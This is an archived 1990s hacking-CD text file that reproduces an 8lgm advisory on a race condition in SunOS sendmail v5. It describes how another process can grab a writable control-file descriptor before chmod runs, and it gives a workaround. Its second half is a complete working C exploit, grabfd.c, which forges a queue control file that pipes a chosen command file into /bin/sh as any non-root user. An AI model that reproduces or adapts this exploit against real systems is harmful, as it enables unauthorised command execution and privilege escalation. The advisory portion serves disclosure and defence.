home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
SuperHack
/
SuperHack CD.bin
/
Hack
/
UNIX
/
8CONTROL.ZIP
/
8CONTROL.TXT
Wrap
Text File
|
1996-06-23
|
5KB
|
154 lines
**************************************************************************
HACK: Race condition in sendmail(8) runs programs as any non root user
System: Sendmail V5.1
Source: [8lgm]-Advisory-20.UNIX.SunOS-sendmailV5.1-Aug-1995
**************************************************************************
PROGRAM:
sendmail(8)
VULNERABLE VERSIONS:
SunOS 4.1.*
Sendmail v5 sources
Potentially other vendor v5 based sendmails
DESCRIPTION:
The method used by sendmail version 5 to open a control file
is insecure. A race condition exists whereby another process
may obtain a control-file file descriptor, opened for write
access.
IMPACT:
Local users can write their own control files, and run programs
as any user, bar root. This increases chances of obtaining root
access on the local system.
REPEAT BY:
A program to exploit this vulnerability is available as of now.
This program has been tested with the latest Sun patch, and should
work on other platforms. The program follows at the end of this
post.
DISCUSSION:
Sendmail v5, during execution, sets umask(0), which is an insecure
mask. In order not to leave open control files with mode 666,
sendmail v5 uses chmod(2) to set a secure file mode. However
this is a race condition, as we can obtain an open file descriptor
for write by opening the control file before the call to chmod(2).
WORKAROUND:
Change the mode on /usr/spool/mqueue to 700. This will prevent
normal users gaining access to the queue files directly.
grabfd.c:
/*
* grabfd.c
* usage: grabfd username command-file
*
* username: user to execute 'command-file' as.
* command-file: file containing 10 lines of shell commands to execute.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <sys/param.h>
#ifndef SENDMAIL
#define SENDMAIL "/usr/lib/sendmail"
#endif
#ifndef SPOOL_DIR
#define SPOOL_DIR "/usr/spool/mqueue"
#endif
char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
main(argc,argv)
int argc;
char **argv;
{
int pid, fd;
char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
if (argc != 3) {
(void)fprintf(stderr, "%s: user file\n",
argv[0]);
exit(1);
}
if (getpwnam(argv[1]) == NULL)
(void)fprintf(stderr, "%s: user %s unknown (error ignored)\n",
argv[0],
argv[1]);
if (access(argv[2], F_OK) == -1) {
(void)fprintf(stderr, "%s: %s does not exist.\n",
argv[0],
argv[2]);
exit(1);
}
if (access(SPOOL_DIR, X_OK) == -1) {
(void)fprintf(stderr, "%s: cannot access %s.\n",
argv[0],
SPOOL_DIR);
exit(1);
}
if (pid=fork()) {
if (pid == -1) {
(void)perror("fork");
exit(1);
}
(void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
(void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
for (;;)
if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
(void)printf("%s: grabbed queue fd.\n",
argv[0]);
(void)wait();
(void)ftruncate(fd, 0);
(void)write(fd, sysbuf, strlen(sysbuf));
(void)close(fd);
if(execl(SENDMAIL,
"sendmail", "-q", (char *)0) == -1) {
(void)perror("execl");
exit(1);
};
}
} else {
(void)close(0);
if (open("/etc/motd", O_RDONLY, 0) == -1) {
(void)perror("open");
exit(1);
};
if (execl(SENDMAIL,
"sendmail",
#ifdef sun
"-os",
#endif
"-odq", getlogin(), (char *)0) == -1) {
(void)perror("execl");
exit(1);
};
}
exit(1);
} }